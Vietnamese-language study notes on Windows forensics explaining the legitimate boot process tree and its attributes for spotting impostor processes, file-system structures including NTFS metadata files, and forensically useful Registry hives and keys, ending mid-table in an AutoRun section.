# Windows Forensics ## Windows Forensics là gì? * **Windows Forensics** là một nhánh của **Digital Forensics** (pháp y số), tập trung vào việc phân tích, điều tra và phục hồi thông tin số từ các hệ thống sử dụng **Windows** — hệ điều hành phổ biến nhất hiện nay. * Hay nói 1 cách khác, khi có một sự cố bảo mật, tấn công mạng, phần mềm độc hại, hoặc hành vi bất thường, người ta dùng **Windows Forensics** để tìm ra chuyện gì đã xảy ra, ai đã làm, làm khi nào, bằng cách nào — dựa vào dấu vết còn lại trong hệ thống **Windows**. ## Windows Process Genealogy ![1_ASeSXACVc8wDiLGoUpTpYQ](https://hackmd.io/_uploads/SJe5PMNY8lg.jpg) * Đây là sơ đồ cây quá trình khởi động (`process tree`) trong hệ điều hành **Windows**, thường được gọi là **Windows Process Genealogy** – `phả hệ của tiến trình`. Sơ đồ này cực kỳ quan trọng trong **Windows Forensics**, vì nó giúp: * Hiểu thứ tự các tiến trình hệ thống được tạo ra khi **Windows** khởi động. * Nhận biết các tiến trình hợp pháp. * Phát hiện các tiến trình giả mạo hoặc không đúng ``"cha-con"`` → thường là `malware`. * Thực ra ở trước **System**, còn có 1 tiến trình đặc biệt, là **System Idle Process**. ![image](https://hackmd.io/_uploads/SJUSV4tUeg.png) ### System Idle Process * Là một tiến trình giả (pseudo-process) mà **Windows** sử dụng để biểu diễn thời gian **CPU** đang “rảnh rỗi” (idle). * Nếu **CPU** không có gì để làm, **Windows** “chạy” tiến trình này để giữ trạng thái ổn định. * Mỗi `core` trong **CPU** đều có thể có một luồng **System Idle Process** riêng biệt. | Thuộc tính | Giá trị | | --------------------------- | -------------------------------------------------------------------------------------- | | PID | Luôn là `0` | | Tên | `System Idle Process` | | Vị trí file thực thi | Không tồn tại – chỉ là đại diện logic | | Vai trò | Giúp hệ thống xử lý các hoạt động khi CPU rảnh rỗi | | Trong Task Manager | Khi thấy nó chiếm 90–99% CPU → tức là **máy đang "rảnh", không bị chiếm dụng** | #### Những hiểu lầm phổ biến | Sai lầm | Thực tế là... | | -------------------------------------- | --------------------------------------------------------------- | | “Máy bị chiếm 99% CPU bởi process này” | Không đúng. Điều đó nghĩa là **CPU đang rảnh 99%** | | “Đây là virus” | Hoàn toàn không phải. Không có file thực thi, không bị thay thế | | “Có thể kill nó” | Không thể, vì nó không thật sự tồn tại như process khác | #### Vậy vì sao không xuất hiện trong sơ đồ genealogy? * Nó không phải được khởi tạo từ **System** hoặc `smss.exe`, mà là một thành phần lõi của `kernel`. * Mục đích của sơ đồ `process genealogy` là truy vết tiến trình “thực sự chạy mã” (real process), còn **System Idle Process** chỉ là placeholder (`giữ chỗ`) để biểu diễn trạng thái **CPU**. * Theo dõi bằng **Process Explorer**: ![Screenshot 2025-07-19 223021](https://hackmd.io/_uploads/S1uP54KLlg.png) ### System | Thuộc tính | Giá trị | | ----------------- | ---------------------------------------------------------------- | | Tên | `System` | | PID | `4` (luôn luôn là PID 4) | | Parent | Không có (là tiến trình gốc trong kernel mode) | | Child Processes | Không có (vì nó không spawn process user-mode) | | Người dùng chạy | `NT AUTHORITY\SYSTEM` (SID: S-1-5-18) | | File thực thi | **Không có file thực thi kiểu `system.exe` (No image path)** | | Số lượng instance | Luôn chỉ **1** (nếu có 2 là dấu hiệu cực kỳ nghi ngờ) | | Vai trò chính | Chứa **kernel threads** như driver, memory manager, scheduler... | #### Chi tiết chức năng * **System process** là một `container` cho tất cả `kernel-mode threads` trong hệ thống, như: * `I/O manager` * `Memory manager` * `File system manager` * `Cache manager` * `Threads` của driver thiết bị * Không thực thi mã như **user-mode process** (`.exe`), mà chạy trong không gian `kernel`. * Nó xuất hiện trong **Task Manager**, có thể theo dõi lượng **CPU** mà `kernel` đang sử dụng (đương nhiên là không thể can thiệp). * Mở bằng **Process Explorer**: ![Screenshot 2025-07-19 223708](https://hackmd.io/_uploads/HJuG34t8gg.png) * Chuột phải để chọn `Properties`: * Tab `Image`: ![image](https://hackmd.io/_uploads/B1VrhNY8gg.png) * `Path`: trống. * `Started`: Thời gian tiến trình bắt đầu chạy, thường là từ lúc **Windows** khởi động. * `User`: `NT AUTHORITY\SYSTEM` * ... * Đây hoàn toàn là các thông tin hợp lệ mà chúng ta phân tích ở trên. * Tab `Threads`: Hiển thị danh sách các `kernel threads` đang hoạt động trong `process` này. * Một số driver: * `ntoskrnl.exe` * `disk.sys` * `ndis.sys` * `ACPI.sys` * Đây là các thành phần hệ thống chạy trong `kernel mode`, thuộc về **System**. ![image](https://hackmd.io/_uploads/SypT6NKUeg.png) ### SMSS.EXE – [Session Manager Subsystem](https://en.wikipedia.org/wiki/Session_Manager_Subsystem) * Là `process` đầu tiên trong không gian người dùng (`user-mode`) sau khi **System** (`kernel-mode`) đã khởi động. #### Chức năng * 1. `SMSS.EXE` chạy dưới **session 0**, là **session** dành riêng cho các dịch vụ hệ thống và `kernel` (không chứa GUI/desktop người dùng). Nó tạo ra **session 0** (nơi chứa các `service` hệ thống), và tạo ra các **session** tiếp theo (**session ID** 1, 2, ...) cho từng người dùng đăng nhập. * Theo mình tìm hiểu thì **session ID = 1** là `local login`, **session ID = 2** có thể là **remote desktop**, ... * Ví dụ dễ hiểu hơn thì: * Khi **Windows** khởi động: `smss.exe` chạy trong **session 0** → tạo ra các tiến trình quan trọng: `csrss.exe`, `wininit.exe` * Khi người dùng đăng nhập: * Một `smss.exe` mới được tạo ra trong **session n** (`n ≥ 1`) để quản lý môi trường của user. * Nó sẽ tạo tiếp `csrss.exe` và `winlogon.exe` trong **session n** (môi trường riêng). * Sau khi khởi động xong: Chỉ còn một `smss.exe` trong **session 0**, các phiên bản `smss.exe` phụ còn lại sẽ tự kết thúc sau khi hoàn tất tạo **session**. * 2. Tạo các `key registry` quan trọng như: `HKLM\SYSTEM`, `HKLM\SOFTWARE`, `HKLM\SAM`, `HKLM\SECURITY`. * 3. Cái này thì cũng như ở ví dụ trên, nó tạo ra các **process** quan trọng như: * `csrss.exe` (**Client/Server Runtime Subsystem**) * `wininit.exe` (**Windows Initialization**) * `winlogon.exe` (**Windows Logon**) #### Các thuộc tính | Thuộc tính | Mô tả | | ------------------- | ------------------------------------------------------------------- | | **PID** | Ngẫu nhiên, không cố định | | **Parent Process** | `System` (nhưng sau đó tách khỏi cha và hoạt động độc lập) | | **Child Processes** | `csrss.exe`, `wininit.exe`, `winlogon.exe` | | **User** | `NT AUTHORITY\SYSTEM` (SID: S-1-5-18) | | **Path** | `%SystemRoot%\System32\smss.exe` | | **Số lượng** | Ban đầu có thể có >1 instance, **sau khi khởi động xong chỉ còn 1** | | **Command Line** | **Không có arguments** ở bản chính sau khởi động | * Ta có thể kiểm chứng các thuộc tính bằng **Process Explorer**: ![Screenshot 2025-07-20 092139](https://hackmd.io/_uploads/SyO-QRKIge.png) ![image](https://hackmd.io/_uploads/rJRyGy9Lgx.png) ### Csrss.exe - [Client/Server Runtime Subsystem](https://quantrimang.com/cong-nghe/client-server-runtime-process-hay-csrss-exe-la-gi-149973) * `csrss.exe` (**Client/Server Runtime Subsystem**) là tiến trình hệ thống bắt buộc, chịu trách nhiệm quản lý một số thành phần cơ bản trong user mode, bao gồm: * Tạo / huỷ console window (CMD). * Xử lý shutdown và logoff. * Quản lý thread và process creation notification. * Hỗ trợ một phần nhỏ liên quan đến **GUI** (chủ yếu trước **Windows NT 4.0**, giờ đã chuyển cho `winlogon`, `wininit`, `explorer.exe` v.v...). | Thuộc tính | Giá trị (thường thấy) | | ------------------- | -------------------------------------------------------------------------------------------------------------------------------------- | | **PID** | Ngẫu nhiên (vì nó là tiến trình hệ thống sớm, số nhỏ) | | **Parent** | `smss.exe` (Session Manager) — nhưng đôi khi Process Explorer không hiện parent vì tiến trình này "mồ côi" sau khi `smss.exe` kết thúc | | **Session** | 0 (System session) **hoặc** 1 (user session, nếu bạn đã đăng nhập) | | **User** | `NT AUTHORITY\SYSTEM` | | **Path** | `%SystemRoot%\System32\csrss.exe` | | **Child Processes** | Không có | * Sau khi **Windows boot** xong, sẽ thấy 2 tiến trình `csrss.exe`: * 1 ở **Session 0**: phục vụ cho các tiến trình hệ thống và dịch vụ (non-interactive session). * 1 ở **Session 1** trở lên: phục vụ người dùng khi đăng nhập vào **GUI Desktop** (`user-mode`) như `taskbar`, `console windows`, ... ![Screenshot 2025-07-20 102646](https://hackmd.io/_uploads/B1sSG1qUxg.png) * Ta cũng có thể thấy có tồn tại 2 tiến trình `csrss.exe`: ![image](https://hackmd.io/_uploads/BJIpXyqIgg.png) ### wininit.exe - [Windows Initialization Process](https://quantrimang.com/cong-nghe/chuong-trinh-wininit-exe-la-gi-va-tai-sao-no-luon-hoat-dong-74280) * Dùng để khởi tạo, thiết lập môi trường cho các tiến trình khác hoạt động cho **Session 0** (phiên hệ thống), là một trong những tiến trình đầu tiên được tạo bởi `smss.exe` sau khi khởi động `kernel` thành công. * Cụ thể hơn thì khởi tạo các thành phần hệ thống nền quan trọng như: * `services.exe` - **Service Control Manager** (`quản lý dịch vụ`) * `lsass.exe` - **Local Security Authority Subsystem Service** (`xác thực người dùng`) * `fontdrvhost.exe` - Hỗ trợ xử lý font chữ. * `Wininit.exe` còn tham gia vào quá trình gỡ bỏ ứng dụng, đảm bảo các tệp và cài đặt liên quan được dọn dẹp đúng cách. * Đọc các lệnh còn lại từ `wininit.ini` (nếu có, ví dụ sau **Windows Update** cần xử lý xóa file sau `reboot`). * Thiết lập các thư mục hệ thống tạm thời như `%SystemRoot%\Temp`, khởi tạo hệ thống lập lịch trình, tạo các cửa sổ làm việc (`window station`) và các vùng làm việc mặc định (`desktop`) cho các tiến trình trong phiên làm việc 0. | Trường | Giá trị | | ------------------- | -------------------------------------------- | | **PID** | Ngẫu nhiên | | **Parent Process** | `smss.exe` (tiến trình con của `smss.exe` chính) | | **Child Processes** | `services.exe`, `lsass.exe`, `fontdrvhost.exe` | | **Người dùng** | `NT AUTHORITY\SYSTEM (S-1-5-18)` | | **Path thực thi** | `%Systemroot%\System32\wininit.exe` | | **Số lượng** | 1 | ![Screenshot 2025-07-20 143754](https://hackmd.io/_uploads/S1PXTzqUgg.png) ### services.exe - [Service Control Manager](https://www.file.net/process/services.exe.html) * `services.exe` là một tiến trình hệ thống quan trọng trong **Windows**, chịu trách nhiệm khởi động, dừng và quản lý các dịch vụ của hệ điều hành. Nó bắt đầu trước cả khi có bất kỳ người dùng nào đăng nhập vào hệ thống. #### Vai trò, chức năng * Nạp dịch vụ từ **Registry** (key `HKLM\SYSTEM\CurrentControlSet\Services`) * Quản lý việc khởi động, dừng, tạm dừng, tiếp tục, và gỡ bỏ dịch vụ. * Theo dõi trạng thái dịch vụ. * Giao tiếp với các tiến trình dịch vụ (thường là các `instance` của `svchost.exe`, `spoolsv.exe`, `lsass.exe`, v.v.) | Thông tin | Chi tiết | | ------------------ | -------------------------------------------------------------- | | Parent Process | `wininit.exe` | | Child Process | `svchost.exe`, `spoolsv.exe`, `dllhost.exe`, `lsass.exe`, v.v. | | SID người dùng | `NT AUTHORITY\SYSTEM` | | Phiên | `Session 0` | | Path | `%SystemRoot%\System32\services.exe` | | PID | Ngẫu nhiên | | Chạy ở chế độ | **Dịch vụ hệ thống**, không tương tác trực tiếp người dùng | ![Screenshot 2025-07-20 145033](https://hackmd.io/_uploads/Bk2fe79Ugx.png) ### LSASS.EXE — [Local Security Authority Subsystem Service](https://quantrimang.com/cong-nghe/lsass-exe-la-gi-165664) * `lsass.exe` được sử dụng để thực thi các chính sách bảo mật, có nghĩa là nó có liên quan đến những thứ như thay đổi mật khẩu và xác minh đăng nhập. #### Chức năng * Xác thực người dùng: Là thành phần chịu trách nhiệm xác thực người dùng trong quá trình đăng nhập hệ thống. * Gọi các **Authentication Package**: Tùy thuộc vào loại tài khoản mà **LSASS** sử dụng các **authentication package** khác nhau: * `Kerberos`: Cho domain account. * `MSV1_0` (MSV): Cho local account. * Thực thi chính sách bảo mật như: * Password policies. * Account lockout policies. * Audit policies. * Đồng thời, nó ưu trữ thông tin nhạy cảm như `password hashes`, `access tokens`,..., có thể `dump memory` để lấy `password hash` (ví dụ có thể dùng `mimikatz`), hay `bypass authentication`, làm giả `token` (`Pass-the-Hash`, `Pass-the-Ticket`). | Thuộc tính | Giá trị | | ----------------------- | ----------------------------------------- | | **PID** | Ngẫu nhiên | | **Parent Process** | `wininit.exe` | | **Child Processes** | Không có (nếu có → nghi ngờ malware) | | **Người dùng** | `NT AUTHORITY\SYSTEM` (`S-1-5-18`) | | **Path** | `%SystemRoot%\System32\lsass.exe` | | **Số lượng tiến trình** | 1 | ![Screenshot 2025-07-20 150119](https://hackmd.io/_uploads/HJxjG79Igl.png) ### LSAISO.EXE - [Local Security Authority Isolated](https://www.file.net/process/lsaiso.exe.html) * `lsaiso.exe` (viết tắt của **Lsa Isolated**) là một tiến trình bảo mật cao, chỉ xuất hiện trên các hệ điều hành **Windows 10** trở lên khi **Credential Guard** được bật. Tiến trình này hoạt động trong môi trường ảo hóa (`Virtual Secure Mode – VSM`), nhằm cô lập **LSASS** ra khỏi hệ điều hành chính, từ đó ngăn chặn việc bị tấn công bằng các kỹ thuật như [Credential Dumping](https://attack.mitre.org/techniques/T1003/). * Khi **Credential Guard** hoạt động, các thông tin xác thực (`credential`) không còn lưu trong bộ nhớ của `lsass.exe` nữa, mà được chuyển sang `lsaiso.exe`. Đây là một phần quan trọng trong cơ chế `Virtualization-Based Security` (**VBS**) của **Windows**. * Đặc điểm đáng chú ý: * Chạy trong môi trường bảo mật riêng biệt do **Hyper-V** cung cấp. * Không có tiến trình con. * Luôn chỉ có 1 `instance` duy nhất. * Chỉ xuất hiện khi bật **Credential Guard**. | Thuộc tính | Giá trị | | ----------------------- | -------------------------------------------------------------------------- | | **PID** | Ngẫu nhiên | | **Parent Process** | `wininit.exe` | | **Child Processes** | Không có | | **Người dùng** | `NT AUTHORITY\SYSTEM` | | **Path thực thi** | `%SystemRoot%\System32\lsaiso.exe` | | **Số lượng tiến trình** | 1 | | **Session ID** | 0 | ### SVCHOST.EXE - [Service Host Process](https://www.thegioididong.com/hoi-dap/svchostexe-la-gi-cach-kiem-tra-svchost-exe-co-la-file-chua-1333351) * `svchost.exe` (**Service Host Process**) là một tiến trình hệ thống dùng để lưu trữ một hoặc nhiều dịch vụ **Windows** dưới dạng các thư viện động (`.dll`). Trên các phiên bản **Windows** trước đây, nhiều dịch vụ được gom chung vào một tiến trình `svchost.exe` để tối ưu hiệu suất và tài nguyên. * Tuy nhiên, kể từ **Windows 10** phiên bản $1703$, khi hệ thống có **RAM** lớn hơn 3.5 GB, mỗi dịch vụ sẽ có một `svchost.exe` riêng, giúp cải thiện khả năng cách ly, khắc phục sự cố và bảo mật. * Số lượng `svchost.exe` phụ thuộc vào số lượng dịch vụ chạy trên máy. | Trường | Thông tin | | ------------------- | -------------------------------------------------------------------- | | **Path thực thi** | `%SystemRoot%\System32\svchost.exe` | | **PID** | Thường nhiều **PID** khác nhau tùy vào số lượng dịch vụ đang chạy | | **Parent Process** | `services.exe` (hoặc `svchost.exe` khác) | | **Child Processes** | `RuntimeBroker.exe`, `taskhostw.exe`, các dịch vụ con khác | | **Người dùng** | `NT AUTHORITY\SYSTEM`, hoặc `LOCAL SERVICE`, `NETWORK SERVICE`, v.v. | | **Số lượng** | Thay đổi linh hoạt tùy thuộc vào số lượng dịch vụ đang chạy | ![image](https://hackmd.io/_uploads/S1R4P7qLxe.png) ### [RUNTIMEBROKER.EXE ](https://quantrimang.com/cong-nghe/runtime-broker-la-gi-va-tai-sao-no-lai-chay-tren-may-tinh-148017) * `RuntimeBroker.exe` được giới thiệu từ **Windows 8**, là một tiến trình hệ thống có vai trò làm trung gian giữa các ứng dụng **Windows Store** (`UWP apps`) và các quyền truy cập hệ thống. Khi một ứng dụng yêu cầu quyền như truy cập camera, micro hay vị trí, tiến trình này sẽ đảm bảo quyền đó được kiểm soát và xác thực đúng. | Thuộc tính | Giá trị | | ------------------- | ------------------------------------------------------------------- | | **PID** | Thay đổi theo phiên làm việc (xem trong Process Explorer) | | **Parent Process** | `svchost.exe` (hoặc `explorer.exe` tùy trường hợp) | | **Child Processes** | Không có | | **Người dùng** | `NT AUTHORITY\SYSTEM` hoặc người dùng hiện tại | | **Path** | `%SystemRoot%\System32\runtimebroker.exe` | | **Số lượng** | Thường là **1**, nhưng có thể nhiều hơn nếu nhiều UWP app hoạt động | ![image](https://hackmd.io/_uploads/HJBg_79Lge.png) ### TASKHOSTW.EXE * `TASKHOSTW.EXE` là một tiến trình hệ thống của **Windows**, cụ thể là một trình quản lý dịch vụ **Windows**, chịu trách nhiệm khởi chạy các dịch vụ dựa trên **DLL** (`Dynamic Link Library`) khi máy tính khởi động, thường là các tác vụ được thiết lập trong `Task Scheduler`, hoặc các thành phần **COM** (`Component Object Model`) khởi chạy động. Nó hoạt động như một máy chủ cho các tiến trình thực thi dưới dạng `DLL`, cho phép chia sẻ mã và tài nguyên giữa các ứng dụng. | Thuộc tính | Giá trị | | ------------------- | -------------------------------------------------------------------------- | | **PID** | Thay đổi mỗi phiên làm việc (xem bằng Process Explorer) | | **Parent Process** | `wininit.exe` hoặc `svchost.exe` | | **Child Processes** | Không có | | **Người dùng** | `NT AUTHORITY\SYSTEM` hoặc tài khoản người dùng hiện tại | | **Path** | `%SystemRoot%\System32\taskhostw.exe` | | **Số lượng** | Thường là **1**, nhưng có thể có nhiều hơn nếu nhiều dịch vụ DLL khởi chạy | ### winlogon.exe - [Windows Logon Application](https://quantrimang.com/cong-nghe/windows-logon-application-la-gi-va-tai-sao-no-lai-chay-tren-he-thong-149728) * `Winlogon.exe` là một tiến trình hệ thống quan trọng trong **Windows** chịu trách nhiệm xử lý quá trình đăng nhập, quản lý phiên làm việc và các tác vụ liên quan đến bảo mật như khóa máy tính và quản lý màn hình đăng nhập. #### Chức năng * Xử lý các quá trình liên quan đến yêu cầu đăng nhập/đăng xuất và khởi tạo người dùng. Khi người dùng nhập thông tin và xác thực thành công (do `lsass.exe` xác minh), `winlogon.exe` sẽ thực hiện khởi tạo môi trường người dùng như nạp `registry hive NTUSER.DAT` và chạy các **process** được định nghĩa trong `value name Userinit`. * Chi tiết hơn: * Khởi tạo giao diện đăng nhập (UI). * Chuyển thông tin đăng nhập cho `lsass.exe` xử lý. * Nếu xác thực thành công, nạp `NTUSER.DAT` và gọi `userinit.exe`, từ đó khởi tạo shell như `explorer.exe`. | Trường | Giá trị | | ------------------- | ------------------------------------------------------------- | | **PID** | Ngẫu nhiên | | **Parent Process** | `smss.exe` (thuộc Session 1) | | **Child Processes** | `logonui.exe`, `userinit.exe`, `explorer.exe`, `dwm.exe`, ... | | **Người dùng** | `NT AUTHORITY\SYSTEM (S-1-5-18)` | | **Path thực thi** | `%SystemRoot%\System32\winlogon.exe` | | **Số lượng** | 1 process cho mỗi phiên người dùng (*per session*) | ### [userinit.exe](https://www.minitool.com/news/userinit-exe.html) * `Userinit.exe` là một tiến trình hệ thống quan trọng trong **Windows**, chịu trách nhiệm cho việc khởi động các ứng dụng và thiết lập môi trường làm việc cho người dùng sau khi đăng nhập. Nó thực thi các tập lệnh đăng nhập và khởi chạy các chương trình được cấu hình để chạy khi khởi động, bao gồm cả trình duyệt `explorer.exe`. #### Vai trò * Chạy các script đăng nhập (`logon script`) nếu được cấu hình qua `registry`. * Khởi tạo kết nối mạng, ánh xạ ổ đĩa mạng nếu có. * Gọi shell mặc định, thường là `explorer.exe`. * Thoát sau khi hoàn tất nhiệm vụ, nên thường không thấy trong **Task Manager**. | Trường | Giá trị | | ------------------- | -------------------------------------------------------------------------------------------------- | | **PID** | Ngẫu nhiên | | **Parent Process** | `winlogon.exe` | | **Child Processes** | `explorer.exe` (shell mặc định) và các tiến trình được gọi bởi logon script nếu có | | **Người dùng** | `NT AUTHORITY\SYSTEM (S-1-5-18)` | | **Path thực thi** | `%SystemRoot%\System32\userinit.exe` | | **Số lượng** | `0` — Process này **tự thoát** sau khi khởi chạy shell, nên thường không tồn tại lâu sau đăng nhập | ### explorer.exe * `explorer.exe` là tiến trình shell mặc định của **Windows**, cung cấp giao diện người dùng đồ họa (`GUI`) giúp người dùng tương tác với hệ điều hành. Nó hiển thị `desktop`, `taskbar`, `start menu`, cửa sổ quản lý file, và nhiều thành phần khác của giao diện. * Tiến trình này được khởi tạo bởi `userinit.exe` sau khi người dùng đăng nhập thành công, và thường sẽ duy trì hoạt động trong suốt phiên làm việc. #### Chức năng chính: * Hiển thị giao diện `desktop`, `start menu`, `taskbar`,... * Quản lý file và thư mục thông qua **Windows File Explorer**. * Là môi trường cha cho nhiều tiến trình người dùng (ứng dụng, tiện ích...). | Trường | Giá trị | | ------------------- | --------------------------------------------------------------------------------- | | **PID** | Ngẫu nhiên | | **Parent Process** | thường là child process của `userinit.exe`, nhưng sau đó tồn tại độc lập | | **Child Processes** | Nhiều tiến trình người dùng (trình duyệt, phần mềm, task manager,...) | | **Người dùng** | Người dùng đang hoạt động (đã đăng nhập thành công) | | **Path thực thi** | `%SystemRoot%\explorer.exe` | | **Số lượng** | 1 tiến trình cho mỗi người dùng đăng nhập (kể cả trong môi trường Remote Desktop) | ## [File System](https://tenten.vn/tin-tuc/file-system-la-gi/) ### File System là gì? * **File System** (`Hệ thống tập tin`) là phương pháp và cấu trúc dữ liệu mà hệ điều hành sử dụng để: * Lưu trữ, tổ chức và quản lý dữ liệu trên các thiết bị lưu trữ (HDD, SSD, USB,...) * Đảm bảo truy xuất và phân quyền dữ liệu hiệu quả. * Nếu không có hệ thống **file system**, dữ liệu trên đĩa chỉ là các khối bit không thể phân biệt. ### Các thành phần của File System - **Boot Sector:** Là phần đầu tiên được đọc khi hệ thống khởi động và chứa thông tin cần thiết để khởi động hệ thống lưu trữ. Nó cũng chứa các thông tin quan trọng về kích thước của phân vùng và loại hệ thống tập tin. - **File Allocation Table (FAT) hoặc Master File Table (MFT):** Là bảng chứa thông tin về các tệp tin và thư mục trong hệ thống tập tin. FAT được sử dụng trong các hệ thống tập tin đơn giản như FAT32, trong khi MFT được sử dụng trong các hệ thống tập tin nâng cao như NTFS. - **Directory:** Là cấu trúc chứa các thư mục và tệp tin trong hệ thống tập tin. Nó cho phép người dùng tổ chức và quản lý các tệp tin và thư mục một cách có hệ thống. - **File System Drivers:** Là các chương trình phần mềm được sử dụng để kết nối hệ thống tập tin với phần cứng thiết bị lưu trữ. Chúng cho phép truy cập dữ liệu và ghi dữ liệu vào thiết bị lưu trữ. - **System Call Interface:** Là các giao diện được sử dụng để truy cập các tính năng của hệ thống tập tin thông qua các lệnh hệ thống trong ứng dụng. ### Cấu trúc * Cấu trúc là ý chỉ các lớp tổ chức vật lý và logic của dữ liệu, từ cấp phân vùng đến từng khối (block) và tệp tin. - **Partition (Phân vùng)**: Là các đơn vị chia cắt logic của ổ đĩa. Mỗi phân vùng có thể chứa một hệ thống tập tin riêng biệt và được dùng để tổ chức các loại dữ liệu khác nhau. - **Block (Khối dữ liệu)**: Đơn vị lưu trữ cơ bản nhất trong hệ thống tập tin. Dữ liệu được ghi vào đĩa dưới dạng các khối dữ liệu có kích thước cố định, giúp tối ưu hóa việc quản lý và truy xuất dữ liệu. - **Inode:** là một cấu trúc dữ liệu đặc biệt lưu trữ thông tin về một tệp hoặc thư mục, bao gồm quyền truy cập, kích thước, ngày giờ tạo và các con trỏ đến các Block chứa dữ liệu của tệp. - **File (Tệp tin)**: Là đơn vị lưu trữ cuối cùng, chứa dữ liệu thực tế và được quản lý bởi hệ thống tập tin thông qua Inode và các Block. ### Các loại File System Có nhiều loại hệ thống tập tin khác nhau được sử dụng trên các hệ điều hành và thiết bị lưu trữ khác nhau. Mỗi loại hệ thống tập tin có những đặc điểm và tính năng riêng, và được thiết kế để đáp ứng các nhu cầu khác nhau của người dùng. Sau đây là một số loại hệ thống tập tin phổ biến: - **FAT (File Allocation Table):** FAT là một hệ thống tập tin phổ biến được sử dụng trên các thiết bị lưu trữ như đĩa mềm, thẻ nhớ và ổ đĩa USB. FAT được thiết kế để hỗ trợ các thiết bị có dung lượng nhỏ và đơn giản để triển khai. - **NTFS (New Technology File System):** NTFS là một hệ thống tập tin phổ biến được sử dụng trên các máy tính chạy hệ điều hành Windows. NTFS hỗ trợ các tính năng bảo mật và quản lý dữ liệu mạnh mẽ hơn so với FAT. - **EXT (Extended File System):** EXT là một loại hệ thống tập tin được sử dụng trên các hệ điều hành dựa trên Linux, bao gồm các phiên bản như EXT2, EXT3 và EXT4. EXT có tính năng bảo mật và quản lý tập tin mạnh mẽ và phù hợp cho các ứng dụng máy chủ và trung tâm dữ liệu. - **APFS (Apple File System):** APFS là một hệ thống tập tin được sử dụng trên các thiết bị Apple chạy hệ điều hành macOS và iOS. APFS có tính năng bảo mật và quản lý tập tin tốt hơn các phiên bản trước đó của hệ thống tập tin của Apple. #### So sánh nhanh | FIle System | Dùng cho | Ưu điểm | Hạn chế | | --- | --- | --- | --- | | **FAT** | USB, thẻ nhớ | Đơn giản, dễ triển khai, tương thích cao | Dung lượng và bảo mật hạn chế | | **NTFS** | Windows | Bảo mật cao, mã hóa, quản lý hiệu quả | Hiệu suất của NTFS có thể bị giảm đáng kể trên các thiết bị có tốc độ xử lý thấp hoặc dung lượng lưu trữ nhỏ | | **EXT (2/3/4)** | Linux | Tính năng journaling, bảo mật, hỗ trợ file lớn | Khả năng phục hồi dữ liệu kém hơn NTFS | | **HFS/HFS+** | MacOS cũ | Hỗ trợ file lớn, tìm kiếm nhanh | Khả năng tương thích giữa các hệ thống tập tin khác nhau và khả năng phục hồi dữ liệu không tốt | | **APFS** | MacOS hiện đại, SSD | Mã hóa mạnh, snapshot, hiệu suất cao trên SSD | Không hỗ trợ thiết bị Apple cũ | ### Các thành phần của NTFS - **$MFT (Master File Table)**: - File hệ thống đặc biệt trong NTFS lưu trữ thông tin về tất cả các tệp tin và thư mục trên ổ đĩa. - Mỗi tệp hoặc thư mục đều có một bản ghi trong $MFT, chứa các thông tin như quyền truy cập, tên, kích thước, và vị trí trên ổ đĩa. - **$LogFile**: - Lưu trữ các giao dịch (transaction logs) nhằm bảo vệ tính toàn vẹn dữ liệu trong trường hợp hệ thống gặp sự cố. - **$Bitmap**: - File quản lý không gian trống trên ổ đĩa, đánh dấu những cluster đã được sử dụng và những cluster còn trống. - **$Boot**: - Chứa thông tin về boot sector và cần thiết để khởi động hệ điều hành từ NTFS. - **$Secure**: - Lưu trữ thông tin về các mô tả bảo mật (security descriptors) của các tệp tin và thư mục. - **$AttrDef**: - $AttrDef định nghĩa các thuộc tính của file, chẳng hạn như tên, kích thước, thời gian tạo và quyền sở hữu. - **$BadClus**: - Danh sách các cluster bị hỏng trên ổ đĩa, giúp hệ thống tránh sử dụng những phần không ổn định của đĩa cứng. ## Windows Registry ### Registry là gì? * **Windows Registry** là một cơ sở dữ liệu phân cấp chứa cấu hình hệ thống, thông tin người dùng, phần cứng, phần mềm, và cài đặt bảo mật. **Registry** là trái tim cấu hình của **Windows**, và là nguồn dữ liệu quan trọng trong điều tra số vì nó lưu dấu mọi tương tác giữa người dùng, hệ thống, và phần mềm. ![image](https://hackmd.io/_uploads/HkK-LVc8xl.png) * **Registry** có 5 `hives`, trong mỗi `hive` chứa rất nhiều **registry key**. Cả **registry hive** và **registry key** đều là thư mục nhưng khác nhau ở chỗ **registry key** là thư mục con của **registry hives**. ### Các Hive chính trong Registry | Hive | Viết tắt | Mô tả | | ------------------------- | -------- | ------------------------------------------------------------------------- | | **HKEY\_CLASSES\_ROOT** | HKCR | mô tả loại file, phần mở rộng cũng như Object Linking và OLE. | | **HKEY\_CURRENT\_USER** | HKCU | Lưu trữ thông tin và cài đặt của người dùng hiện tại. | | **HKEY\_LOCAL\_MACHINE** | HKLM | Thông tin cấu hình cho cả `hardware`, `software`, `drives` và hệ thống, mọi user đăng nhập vào máy đều có thể truy cập vào `HKLM`. | | **HKEY\_USERS** | HKU | Lưu trữ tất cả dữ liệu của người dùng trong hệ thống. | | **HKEY\_CURRENT\_CONFIG** | HKCC | Chứa thông tin chi tiết về cấu hình phần cứng hiện đang gắn vào thiết bị. | ### Cấu trúc của Registry `HIVE\KEY\SUBKEY\SUBKEY\...\...\VALUE` * Trong đó: * `HIVE`: thành phần gốc của **Registry** (tương đương ổ đĩa) * `KEY` và `SUBKEY`: giống thư mục * `VALUE`: giá trị chứa thông tin (tên, kiểu dữ liệu, nội dung) ![image](https://hackmd.io/_uploads/BkB7wVc8ee.png) ### Các tệp liên quan đến Registry | Đuôi file | Ý nghĩa | | --------- | ---------------------------------------------------------- | | `.reg` | File xuất/nhập **Registry**, dạng văn bản | | `.dat` | File lưu trữ dữ liệu **registry** (`NTUSER.DAT`, `SYSTEM.DAT`,...) | | `.hive` | File nhị phân chứa `hive registry` | | `.log` | Lưu lịch sử thay đổi **registry** (`Registry transaction logs`) | | `.pol` | File chính sách **Group Policy** (`Policy registry files`) | ### Các Key quan trọng trong Forensics #### Hoạt động người dùng – Dấu vết sử dụng | Registry Key | Mô tả | | ----------------------------------------------- | -------------------------------------------- | | `HKCU\...\Explorer\ComDlg32\LastVisitedPidlMRU` | Theo dõi ứng dụng người dùng sử dụng gần đây | | `HKCU\...\Explorer\ComDlg32\OpenSavePidlMRU` | Tệp tin đã được mở hoặc lưu | | `HKCU\...\Explorer\RecentDocs` | Danh sách tài liệu gần đây | | `HKCU\...\Explorer\RunMRU` | Lịch sử lệnh nhập trong hộp thoại Run | | `HKCU\...\Explorer\TypedPaths` | Các đường dẫn nhập vào thanh địa chỉ | | `HKCU\...\UserAssist` | Lưu các chương trình **GUI** người dùng đã chạy | | `HKCU\...\WordWheelQuery` | Truy vấn tìm kiếm gần đây | #### Khởi động cùng hệ thống – AutoRun | Key | Phạm vi | Mô tả | | 